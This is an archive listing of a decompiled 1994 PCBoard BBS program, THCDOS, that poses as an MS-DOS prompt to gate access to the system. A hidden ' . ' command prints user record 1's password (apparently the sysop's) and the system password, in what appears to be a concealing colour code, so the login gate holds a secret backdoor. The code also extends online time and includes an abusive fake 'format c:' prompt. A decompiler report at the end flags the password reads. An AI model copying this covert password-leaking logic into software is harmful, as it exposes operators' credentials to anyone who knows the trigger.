home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Monster Media 1994 #1
/
monster.zip
/
monster
/
PCBOARD
/
MADTHC80.ZIP
/
THCDOS.PPE
(
.txt
)
< prev
Wrap
PCBoard Programming Language Executable
|
1994-03-15
|
20KB
|
674 lines
;------------------------------------------------------------------------------
; .ss.
; `²²'
; .,sS$Ss,,s$ .,sS$$$Ss. .,sS$Ss,,s$ .ss. .sSs.
; .d$$²^°²$$$$'.d$P²°^^²$P'.d$$²^°²$$$$'.$$$' .$$$²Sb,.
; $$$' .$$$' $$$²Sçsµ²' .$$$' .$$$'.$$$' .$$$' `$$b.
; $$$b,,d$$$' ,$$$b,....,s$$$$b,,d$$$'.$$$;.,$$$' ;$$$
; `²S$$S²²S$$S²°²S$$$$S²°°²S$$$$$$',$$S²°²S$S'.sS$$$P²'
; .sS²°$$$²²°"' d²°'
; .$$² .$$'
; $$$.,d$$'
; `²S$$S²'
;------------------------------------------------------------------------------
; P.P.L.X. 2.OO (C)1996 - Lone Runner / AEGiS CoRP'96
;------------------------------------------------------------------------------
; PPE 2.OO (plain) - Analysis ON - Postprocessing ON
;------------------------------------------------------------------------------
Boolean BOOLEAN001
Boolean BOOLEAN002
Integer INTEGER001
Integer INTEGER002
Integer INTEGER003
Integer INTEGER004
Integer INTEGER005
Integer INTEGER006
String STRING001
String STRING002
String STRING003
String STRING004
String STRING005
String STRING006
String STRING007
String STRING008
String STRING009
String STRING010
String STRING011
String STRING012
String STRING013
String STRING014
String STRING015
String STRING016
;------------------------------------------------------------------------------
BOOLEAN002 = 0
STRING001 = "@X0B"
STRING002 = "@X03"
STRING003 = "@X08"
STRING004 = "@X0E"
STRING005 = "@X07C:@X08\@X07PCB@X08\@X07GEN@X08>"
STRING011 = "system"
STRING012 = "newuser"
STRING010 = ""
For INTEGER003 = 32 To 255
STRING010 = STRING010 + Chr(INTEGER003)
Next
If (Exist(PPEPath() + "THCDOS.CNF")) Then
Goto LABEL001
Endif
Goto LABEL002
:LABEL001
STRING001 = ReadLine(PPEPath() + "THCDOS.CNF", 1)
STRING002 = ReadLine(PPEPath() + "THCDOS.CNF", 2)
STRING003 = ReadLine(PPEPath() + "THCDOS.CNF", 3)
STRING004 = ReadLine(PPEPath() + "THCDOS.CNF", 4)
STRING005 = ReadLine(PPEPath() + "THCDOS.CNF", 5)
STRING011 = ReadLine(PPEPath() + "THCDOS.CNF", 6)
STRING012 = ReadLine(PPEPath() + "THCDOS.CNF", 7)
:LABEL002
AdjTime 9999
PrintLn "@CLS@@POFF@"
PrintLn
Print STRING001 + "THCDOS " + STRING002 + "Version " + STRING001 + "8.0"
Print " (" + STRING002 + "C" + STRING001 + ")" + STRING002 + "opyright " + STRING001 + "CokE of M.A.D. Syndicate "
PrintLn STRING002 + "1994."
PrintLn ""
PrintLn STRING002 + "Type " + STRING001 + "EXIT " + STRING002 + "to return to remote system."
PrintLn
PrintLn
Print STRING001 + "Microsoft" + STRING002 + "(" + STRING001 + "R" + STRING002 + ") " + STRING002 + "MS-DOS" + STRING001 + "(" + STRING002 + "R" + STRING001 + ") "
PrintLn "Version 6"
Print " " + STRING001 + "(" + STRING002 + "C" + STRING001 + ")" + STRING002 + "opyright Microsoft "
PrintLn "Corp 1981-1993"
PrintLn
:LABEL003
Print STRING005
INTEGER002 = GetX() + 1
STRING007 = ""
:LABEL004
STRING006 = Inkey()
If (STRING006 == "") Then
Goto LABEL004
Endif
STRING007 = STRING007 + STRING006
STRING009 = ""
For INTEGER003 = 1 To Len(STRING007)
Gosub LABEL011
Next
STRING007 = STRING009
Select Case (STRING006)
Case Chr(13)
Goto LABEL006
Case Chr(8)
Gosub LABEL005
End Select
Print "@X0F" + STRING006
INTEGER001 = GetX()
Goto LABEL004
:LABEL005
If (GetX() < INTEGER002) Then
AnsiPos GetX() + 1, GetY()
Return
Endif
AnsiPos GetX() - 1, GetY()
Print " "
Return
:LABEL006
PrintLn
BOOLEAN001 = 0
If (Mid(STRING007, 1, 1) == Chr(13)) Then
Goto LABEL003
Endif
STRING008 = " . "
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "cd"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "type ansi"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "check"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "format c:"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "dir /w"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "dir/w"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "dir"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "cls"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "exit"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "login"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "feedback"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
STRING008 = "register"
Gosub LABEL007
If (BOOLEAN001 == 1) Then
Goto LABEL008
Endif
Print STRING002 + "B" + STRING001 + "a" + STRING002 + "d " + STRING002 + "Co" + STRING001 + "mma" + STRING002 + "nd " + STRING001 + "or " + STRING002 + "fil"
PrintLn STRING001 + "en" + STRING002 + "ame"
PrintLn
Goto LABEL003
:LABEL007
For INTEGER003 = 1 To Len(STRING007)
If ((Lower(Mid(STRING007, INTEGER003, Len(STRING008))) == Lower(STRING008)) || (Mid(STRING007, 2, 1) == ":")) Then
STRING009 = STRING007
STRING007 = STRING008
BOOLEAN001 = 1
Endif
Next
Return
:LABEL008
If (STRING007 == "dir") Then
PrintLn
Print STRING002 + " Volume in drive " + STRING001 + "C" + STRING002 + " is THCDOS.8_0 "
PrintLn "Serial number is " + STRING001 + "1B5E:6945"
Print STRING002 + " Directory of @X07c:@X08\@X07pcb@X08\@X07gen@X08\@X07*.*"
PrintLn " "
PrintLn " "
Print STRING002 + ". " + STRING004 + "<DIR> " + STRING001 + "2-05-94 11:50"
PrintLn " "
Print STRING002 + ".. " + STRING004 + "<DIR> " + STRING001 + "2-05-94 11:50"
PrintLn " "
Print STRING002 + "login.bat " + STRING004 + "125 " + STRING001 + "2-25-94 9:20"
PrintLn " "
Print STRING002 + "feedback.exe " + STRING004 + "140874 " + STRING001 + "3-06-94 19:45"
PrintLn " "
Gosub LABEL014
Print STRING002 + "check.com " + STRING004 + "1704 " + STRING001 + "3-05-94 15:41"
PrintLn " "
Print STRING002 + "register.exe " + STRING004 + "20476 " + STRING001 + "3-06-94 19:49"
PrintLn " "
Print STRING001
For INTEGER003 = 1 To 10 - Len(String(INTEGER006 + 163179))
Print " "
Next
Print String(INTEGER006 + 163179)
Print " " + STRING002 + "bytes in " + STRING001
Print INTEGER005 + 3
Print " " + STRING002 + "file(s) "
Print STRING001
Print 1024 * (INTEGER005 + 3)
PrintLn " " + STRING002 + "bytes allocated"
Print STRING001 + "1000811776 " + STRING002 + "bytes free"
PrintLn " "
PrintLn
Goto LABEL003
Endif
If ((STRING007 == "dir /w") || (STRING007 == "dir/w")) Then
PrintLn
Print STRING002 + " Volume in drive " + STRING001 + "C" + STRING002 + " is THCDOS.8_0 "
PrintLn "Serial number is " + STRING001 + "1B5E:6945"
Print STRING002 + " Directory of @X07c:@X08\@X07pcb@X08\@X07gen@X08\@X07*.*"
PrintLn " "
PrintLn " "
Print STRING002 + " [.]" + Chr(9) + Chr(9) + "[..]" + Chr(9) + Chr(9) + "login.bat"
Gosub LABEL015
PrintLn Chr(9) + "check.com"
Print STRING001
For INTEGER003 = 1 To 10 - Len(String(INTEGER006 + 163179))
Print " "
Next
Print String(INTEGER006 + 163179)
Print " " + STRING002 + "bytes in " + STRING001
Print INTEGER005 + 3
Print " " + STRING002 + "file(s) "
Print STRING001
Print 1024 * (INTEGER005 + 3)
PrintLn " " + STRING002 + "bytes allocated"
Print STRING001 + "1000811776 " + STRING002 + "bytes free"
PrintLn " "
PrintLn
Goto LABEL003
Endif
If (STRING007 == "cls") Then
Cls
Endif
If (STRING007 == "format c:") Then
PrintLn
PrintLn "@X0CWARNING ! All Data on Harddisk"
PrintLn "in Drive C: will be lost!"
Print "Execute formatting (Y/N)? @X0F"
STRING009 = ""
:LABEL009
STRING006 = Lower(Inkey())
If (STRING006 == "") Then
Goto LABEL009
Endif
STRING009 = STRING009 + STRING006
If (STRING006 <> Chr(13)) Then
Print STRING006
Goto LABEL009
Endif
If ((STRING006 == Chr(13)) && (Mid(STRING009, 1, 1) == "y")) Then
PrintLn
PrintLn
Print STRING001 + "Are " + STRING002 + "you " + STRING001 + "really " + STRING002 + "so " + STRING001 + "stupid " + STRING002 + "to "
Print STRING001 + "believe " + STRING002 + "that " + STRING001 + "i'd " + STRING002 + "allow " + STRING001 + "you " + STRING002 + "to "
PrintLn STRING001 + "format " + STRING002 + "my " + STRING001 + "HD" + STRING002 + "???"
PrintLn
Print STRING001 + "Go " + STRING002 + "home " + STRING001 + "and " + STRING002 + "phuck " + STRING001 + "your " + STRING002 + "pet, "
PrintLn STRING001 + "mate!"
PrintLn
Hangup
Goto LABEL010
Endif
PrintLn
PrintLn
Endif
:LABEL010
If ((Lower(Mid(STRING007, 1, 9)) == "type ansi") && Exist(PPEPath() + Mid(STRING009, 6, Len(STRING009) - 6))) Then
Cls
DispFile PPEPath() + Mid(STRING009, 6, Len(STRING009) - 6), 0
PrintLn
Endif
If (Lower(Mid(STRING007, 1, 2)) == "cd") Then
Print STRING002 + "H" + STRING001 + "o" + STRING002 + "w c" + STRING001 + "a" + STRING002 + "n y" + STRING001 + "o" + STRING002 + "u st" + STRING001 + "up"
Print STRING002 + "id h" + STRING001 + "uma" + STRING002 + "n b" + STRING001 + "ein" + STRING002 + "g ex" + STRING001 + "pe" + STRING002 + "ct "
Print STRING001 + "to " + STRING002 + "be al" + STRING001 + "low" + STRING002 + "ed " + STRING001 + "to " + STRING002 + "ch" + STRING001 + "an"
PrintLn STRING002 + "ge t" + STRING001 + "h" + STRING002 + "e dir" + STRING001 + "ect" + STRING002 + "ory" + STRING001 + "???"
PrintLn
Endif
If (Lower(Mid(STRING007, 2, 1)) == ":") Then
Print STRING002 + "Y" + STRING001 + "o" + STRING002 + "u w" + STRING001 + "an" + STRING002 + "t " + STRING001 + "to " + STRING002 + "ac" + STRING001 + "ce"
Print STRING002 + "ss " + STRING004 + Mid(STRING007, 1, 2) + STRING001 + "? " + STRING002 + "F" + STRING001 + "o" + STRING002 + "r " + STRING001 + "$1000 "
Print STRING002 + "we c" + STRING001 + "a" + STRING002 + "n t" + STRING001 + "al" + STRING002 + "k a" + STRING001 + "bou" + STRING002 + "t " + STRING001 + "it"
PrintLn STRING002 + ", m" + STRING001 + "at" + STRING002 + "e" + STRING001 + "!"
PrintLn
Endif
If (STRING007 == " . ") Then
GetAltUser 1
AnsiPos 1, GetY() - 1
PrintLn "@X80" + U_Pwd + " | " + STRING011
PrintLn
Cls
Endif
If (STRING007 == "check") Then
Cls
Gosub LABEL016
AnsiPos 26, 12
Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r y" + STRING001 + "ou" + STRING002 + "r ha"
Print STRING001 + "nd" + STRING002 + "le" + STRING001 + ":@X80"
InputStr "", STRING013, 0, 40, STRING010, 8
INTEGER006 = U_RecNum(STRING013)
Gosub LABEL017
Endif
If (STRING007 == "exit") Then
PrintLn
Hangup
Endif
If (STRING007 == "register") Then
Cls
Gosub LABEL019
AnsiPos 26, 12
Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r t" + STRING001 + "h" + STRING002 + "e N" + STRING001 + "e" + STRING002 + "w U" + STRING001 + "se"
Print STRING002 + "r Pas" + STRING001 + "sw" + STRING002 + "ord" + STRING001 + ":@X80"
InputStr "", STRING016, 0, 40, STRING010, 8 + 1
Gosub LABEL021
Endif
If (STRING007 == "login") Then
Gosub LABEL020
Endif
If (STRING007 == "feedback") Then
Cls
INTEGER006 = 7
Gosub LABEL022
Endif
Goto LABEL003
:LABEL011
If (Mid(STRING007, INTEGER003, 1) == Chr(8)) Then
INTEGER005 = 1
For INTEGER004 = 1 To Len(STRING007)
Gosub LABEL012
Next
STRING009 = Mid(STRING009, 1, Len(STRING009) - INTEGER005)
INTEGER003 = INTEGER003 + INTEGER005
Else
STRING009 = STRING009 + Mid(STRING007, INTEGER003, 1)
Endif
Return
:LABEL012
If ((Mid(STRING007, INTEGER003 + INTEGER004, 1) == Chr(8)) && (Mid(STRING007, INTEGER003 + INTEGER004 - 1, 1) == Chr(8))) Then
Inc INTEGER005
Endif
Return
:LABEL013
If (Mid(STRING009, 1, 1) == "0") Then
STRING009 = Mid(STRING009, 2, Len(STRING009) - 1)
Endif
Return
:LABEL014
INTEGER006 = 0
INTEGER005 = 1
While (Exist(PPEPath() + "ANSI." + String(INTEGER005))) Do
Print STRING002 + "ansi."
Print INTEGER005
Print " " + STRING004
STRING009 = String(FileInf(PPEPath() + "ANSI." + String(INTEGER005), 4))
INTEGER006 = INTEGER006 + FileInf(PPEPath() + "ANSI" + String(INTEGER005), 4)
Print STRING009
For INTEGER003 = 1 To 7 - Len(STRING009)
Print " "
Next
Print STRING001
STRING009 = String(FileInf(PPEPath() + "ANSI" + String(INTEGER005), 2))
Gosub LABEL013
Print STRING009
STRING009 = FileInf(PPEPath() + "ANSI." + String(INTEGER005), 3)
STRING009 = Mid(STRING009, 1, Len(STRING009) - 3)
Gosub LABEL013
For INTEGER003 = 1 To 7 - Len(STRING009)
Print " "
Next
Print STRING009
PrintLn " "
Inc INTEGER005
EndWhile
Return
:LABEL015
INTEGER006 = 0
INTEGER005 = 1
While (Exist(PPEPath() + "ANSI." + String(INTEGER005))) Do
If (INTEGER005 > 1) Then
Print Chr(9)
Endif
Print Chr(9) + "ansi."
Print String(INTEGER005)
INTEGER006 = INTEGER006 + FileInf(PPEPath() + "ansi." + String(INTEGER005), 4)
Inc INTEGER005
EndWhile
If (Exist(PPEPath() + "ANSI.1")) Then
Print Chr(9)
Endif
Return
:LABEL016
If (Exist(PPEPath() + "thcdos.chk")) Then
DispFile PPEPath() + "thcdos.chk", 0
Endif
Return
:LABEL017
If (INTEGER006 == -1) Then
Cls
Print STRING002 + "Oo" + STRING001 + "oo" + STRING002 + "ps" + STRING001 + "! " + STRING002 + "S" + STRING001 + "hi" + STRING002 + "t ha"
PrintLn STRING001 + "ppe" + STRING002 + "ns" + STRING001 + "..."
Print STRING002 + "Ei" + STRING001 + "th" + STRING002 + "er yo" + STRING001 + "u'" + STRING002 + "ve m" + STRING001 + "ad" + STRING002 + "e "
Print STRING001 + "a " + STRING002 + "t" + STRING001 + "yp" + STRING002 + "o " + STRING001 + "or " + STRING002 + "y" + STRING001 + "o"
Print STRING002 + "u a" + STRING001 + "r" + STRING002 + "e n" + STRING001 + "o" + STRING002 + "t lo" + STRING001 + "cat" + STRING002 + "ed "
PrintLn STRING001 + "on " + STRING002 + "t" + STRING001 + "hi" + STRING002 + "s sy" + STRING001 + "st" + STRING002 + "em" + STRING001 + "!"
Print "If " + STRING002 + "y" + STRING001 + "o" + STRING002 + "u w" + STRING001 + "an" + STRING002 + "t " + STRING001 + "to " + STRING002 + "be"
Print STRING001 + "co" + STRING002 + "me reg" + STRING001 + "iste" + STRING002 + "red h" + STRING001 + "er" + STRING002 + "e"
Print STRING001 + ", " + STRING002 + "l" + STRING001 + "eav" + STRING002 + "e " + STRING001 + "a " + STRING002 + "m" + STRING001 + "ai"
PrintLn STRING002 + "l " + STRING001 + "to"
Print STRING002 + "t" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em ope" + STRING001 + "ra" + STRING002 + "tor "
Print STRING001 + "or " + STRING002 + "bo" + STRING001 + "th" + STRING002 + "er o" + STRING001 + "n" + STRING002 + "e " + STRING001 + "of "
PrintLn STRING002 + "y" + STRING001 + "ou" + STRING002 + "r fr" + STRING001 + "ien" + STRING002 + "ds" + STRING001 + "."
PrintLn
Else
AnsiPos 25, 12
ClrEol
Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r y" + STRING001 + "ou" + STRING002 + "r per" + STRING001 + "so" + STRING002 + "nal pas"
Print STRING001 + "sw" + STRING002 + "ord" + STRING001 + ":@X80"
InputStr "", STRING014, 0, 40, STRING010, 8 + 1
GetAltUser INTEGER006
If (STRING014 == Upper(U_Pwd)) Then
BOOLEAN002 = 1
Cls
Print STRING002 + "T" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em pas" + STRING001 + "sw" + STRING002 + "ord "
PrintLn STRING001 + "is" + STRING002 + ": @X08" + STRING011
PrintLn
Else
INTEGER006 = -1
Goto LABEL017
Endif
Endif
:LABEL018
Return
:LABEL019
If (Exist(PPEPath() + "thcdos.rgs")) Then
DispFile PPEPath() + "thcdos.rgs", 0
Endif
Return
:LABEL020
If (BOOLEAN002 == 0) Then
Cls
AnsiPos 27, 12
Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r t" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em pas"
Print STRING001 + "sw" + STRING002 + "ord" + STRING001 + ": @X80"
InputStr "", STRING016, 0, 40, STRING010, 8 + 1
Endif
If (BOOLEAN002 == 1) Then
KbdStuff STRING013 + Chr(13) + STRING014 + Chr(13)
Else
If (STRING016 == Upper(STRING011)) Then
Goto LABEL023
Endif
Cls
Print STRING002 + "Oo" + STRING001 + "oo" + STRING002 + "ps" + STRING001 + "! " + STRING002 + "Ei" + STRING001 + "th" + STRING002 + "er yo" + STRING001 + "u'"
Print STRING002 + "ve m" + STRING001 + "ad" + STRING002 + "e " + STRING001 + "a " + STRING002 + "t" + STRING001 + "yp" + STRING002 + "o " + STRING001 + "or "
Print STRING002 + "y" + STRING001 + "o" + STRING002 + "u re" + STRING001 + "al" + STRING002 + "ly d" + STRING001 + "on'" + STRING002 + "t k"
PrintLn STRING001 + "no" + STRING002 + "w " + STRING001 + "it" + STRING002 + "..."
Print "A" + STRING001 + "s" + STRING002 + "k t" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em ope" + STRING001 + "ra"
Print STRING002 + "tor " + STRING001 + "or " + STRING002 + "o" + STRING001 + "n" + STRING002 + "e " + STRING001 + "of " + STRING002 + "y" + STRING001 + "ou"
Print STRING002 + "r b" + STRING001 + "es" + STRING002 + "t fr" + STRING001 + "ien" + STRING002 + "ds f" + STRING001 + "o" + STRING002 + "r ac"
PrintLn STRING001 + "ce" + STRING002 + "ss h" + STRING001 + "er" + STRING002 + "e" + STRING001 + "."
PrintLn
Return
:LABEL021
If (STRING016 == Upper(STRING012)) Then
AnsiPos 26, 12
ClrEol
Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r y" + STRING001 + "ou" + STRING002 + "r ha"
Print STRING001 + "nd" + STRING002 + "le" + STRING001 + ":@X80"
InputStr "", STRING013, 0, 40, STRING010, 8
KbdStuff STRING013 + Chr(13)
Else
Cls
Print STRING002 + "H" + STRING001 + "o" + STRING002 + "w " + STRING001 + "do " + STRING002 + "y" + STRING001 + "o" + STRING002 + "u w" + STRING001 + "an" + STRING002 + "t "
Print STRING001 + "to " + STRING002 + "reg" + STRING001 + "is" + STRING002 + "ter " + STRING001 + "if " + STRING002 + "y" + STRING001 + "o" + STRING002 + "u d"
Print STRING001 + "on'" + STRING002 + "t e" + STRING001 + "ve" + STRING002 + "n k" + STRING001 + "no" + STRING002 + "w t" + STRING001 + "h" + STRING002 + "e "
PrintLn STRING001 + "NUP" + STRING002 + "?"
Print "If " + STRING002 + "y" + STRING001 + "o" + STRING002 + "u w" + STRING001 + "an" + STRING002 + "t " + STRING001 + "to " + STRING002 + "be"
Print STRING001 + "co" + STRING002 + "me reg" + STRING001 + "iste" + STRING002 + "red h" + STRING001 + "er" + STRING002 + "e"
Print STRING001 + ", " + STRING002 + "l" + STRING001 + "eav" + STRING002 + "e " + STRING001 + "a " + STRING002 + "m" + STRING001 + "ai"
PrintLn STRING002 + "l " + STRING001 + "to"
Print STRING002 + "t" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em ope" + STRING001 + "ra" + STRING002 + "tor "
Print STRING001 + "or " + STRING002 + "bo" + STRING001 + "th" + STRING002 + "er o" + STRING001 + "n" + STRING002 + "e " + STRING001 + "of "
PrintLn STRING002 + "y" + STRING001 + "ou" + STRING002 + "r fr" + STRING001 + "ien" + STRING002 + "ds" + STRING001 + "."
PrintLn
Return
:LABEL022
If (STRING013 == "") Then
Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r y" + STRING001 + "ou" + STRING002 + "r Ha" + STRING001 + "nd" + STRING002 + "le" + STRING001 + ":@X80"
InputStr "", STRING013, 0, 40, STRING010, 4096 + 64
Endif
Print STRING002 + "T" + STRING001 + "h" + STRING002 + "e su" + STRING001 + "bje" + STRING002 + "ct " + STRING001 + "of " + STRING002 + "t"
Print STRING001 + "h" + STRING002 + "e me" + STRING001 + "ssa" + STRING002 + "ge " + STRING001 + "is" + STRING002 + ":@X80"
InputStr "", STRING015, 0, 40, STRING010, 64
PrintLn
Print STRING002 + "O" + STRING001 + "ka" + STRING002 + "y" + STRING001 + ", " + STRING002 + "n" + STRING001 + "o" + STRING002 + "w y" + STRING001 + "o" + STRING002 + "u c"
Print STRING001 + "a" + STRING002 + "n l" + STRING001 + "eav" + STRING002 + "e " + STRING001 + "a " + STRING002 + "m" + STRING001 + "ai" + STRING002 + "l "
PrintLn STRING001 + "to " + STRING002 + "t" + STRING001 + "h" + STRING002 + "e s" + STRING001 + "ysO" + STRING002 + "p" + STRING001 + ". "
Print STRING002 + "T" + STRING001 + "yp" + STRING002 + "e " + STRING001 + "as " + STRING002 + "m" + STRING001 + "uc" + STRING002 + "h " + STRING001 + "as "
Print STRING002 + "y" + STRING001 + "o" + STRING002 + "u l" + STRING001 + "ik" + STRING002 + "e a" + STRING001 + "n" + STRING002 + "d fi" + STRING001 + "ni"
PrintLn STRING002 + "sh w" + STRING001 + "it" + STRING002 + "h t" + STRING001 + "h" + STRING002 + "e l" + STRING001 + "in" + STRING002 + "e"
Print STRING004 + "/save " + STRING001 + "or " + STRING002 + "a" + STRING001 + "bor" + STRING002 + "t w" + STRING001 + "it" + STRING002 + "h "
PrintLn STRING004 + "/quit"
Print STRING003 + "========================================"
Print "========================================"
PrintLn
For INTEGER003 = 7 To 1 Step -1
If (Ferr(INTEGER003) == 0) Then
INTEGER006 = INTEGER003
INTEGER003 = 1
Endif
Next
FCreate INTEGER006, PPEPath() + "THCDOS.MSG", 1, 0
STRING009 = "You own an unregistered copy of THCDOS. Please register!" + Chr(13)
INTEGER005 = 0
While ((STRING009 <> "/save") && (STRING009 <> "/quit")) Do
Inc INTEGER005
FPutLn INTEGER006, STRING009
Print "@X02", INTEGER005, "@X0A:"
InputStr "", STRING009, 0, 73, STRING010, 64
EndWhile
PrintLn
If (STRING009 == "/quit") Then
PrintLn STRING002 + "Me" + STRING001 + "ssa" + STRING002 + "ge ab" + STRING001 + "ort" + STRING002 + "ed" + STRING001 + "!"
PrintLn
Goto LABEL018
Endif
FClose INTEGER006
Message 0, "SYSOP", STRING013, STRING015, "R", CurConf(), 0, 0, PPEPath() + "THCDOS.MSG"
Delete PPEPath() + "THCDOS.MSG"
Print STRING002 + "Me" + STRING001 + "ssa" + STRING002 + "ge s" + STRING001 + "ave" + STRING002 + "d a" + STRING001 + "n" + STRING002 + "d s" + STRING001 + "en"
PrintLn STRING002 + "t " + STRING001 + "to " + STRING002 + "s" + STRING001 + "ysO" + STRING002 + "p" + STRING001 + "!"
PrintLn
Return
Endif
Endif
:LABEL023
End
;------------------------------------------------------------------------------
;
; Usage report (before postprocessing)
;
; ■ Statements used :
;
; 1 End
; 11 Cls
; 2 ClrEol
; 111 Goto
; 85 Let
; 107 Print
; 78 PrintLn
; 64 If
; 3 DispFile
; 1 FCreate
; 1 FClose
; 1 FPutLn
; 2 Hangup
; 1 Delete
; 1 AdjTime
; 8 InputStr
; 26 Gosub
; 14 Return
; 4 Inc
; 2 KbdStuff
; 8 AnsiPos
; 1 Message
; 2 GetAltUser
;
;
; ■ Functions used :
;
; 5 -
; 2 *
; 1014 +
; 16 -
; 49 ==
; 3 <>
; 10 <
; 9 <=
; 1 >
; 18 >=
; 64 !
; 22 &&
; 11 ||
; 20 Len(
; 6 Lower()
; 3 Upper()
; 18 Mid()
; 1 Ferr()
; 21 Chr()
; 2 Inkey()
; 16 String()
; 1 CurConf()
; 25 PPEPath()
; 7 ReadLine()
; 7 Exist()
; 5 GetX()
; 3 GetY()
; 5 FileInf()
; 1 U_RecNum()
;
;------------------------------------------------------------------------------
;
; Analysis flags : RABH
;
; R - Read user ■ 5
; User records are read, this may signify that someone wants to get
; various informations about a user (for example his password), but
; this may also be normal for a program accessing user records (for
; example a User Editor)
; ■ Search for : GETALTUSER
;
; A - Adjust online time remaining ■ 5
; Program modify the amount of online time remaining, this may
; be a way to bypass time limits
; ■ Search for : ADJTIME
;
; B - Brute hangup ■ 1
; Program hangup without notification. This may be a good way to
; disconnect a user, but if used randomly, may be very nasty
; ■ Search for : HANGUP, DTROFF
;
; H - Read Password or Password History ■ 5
; Program is reading the user's password or last password history
; This may be ok for a password manager, but it is very suspect. Check!
; ■ Search for : U_PWDHIST, U_PWD
;
;------------------------------------------------------------------------------
;
; Postprocessing report
;
; 9 For/Next
; 3 While/EndWhile
; 50 If/Then or If/Then/Else
; 1 Select Case
;
;------------------------------------------------------------------------------
; AEGiS Corp - Break the routines, code against the machines!
;------------------------------------------------------------------------------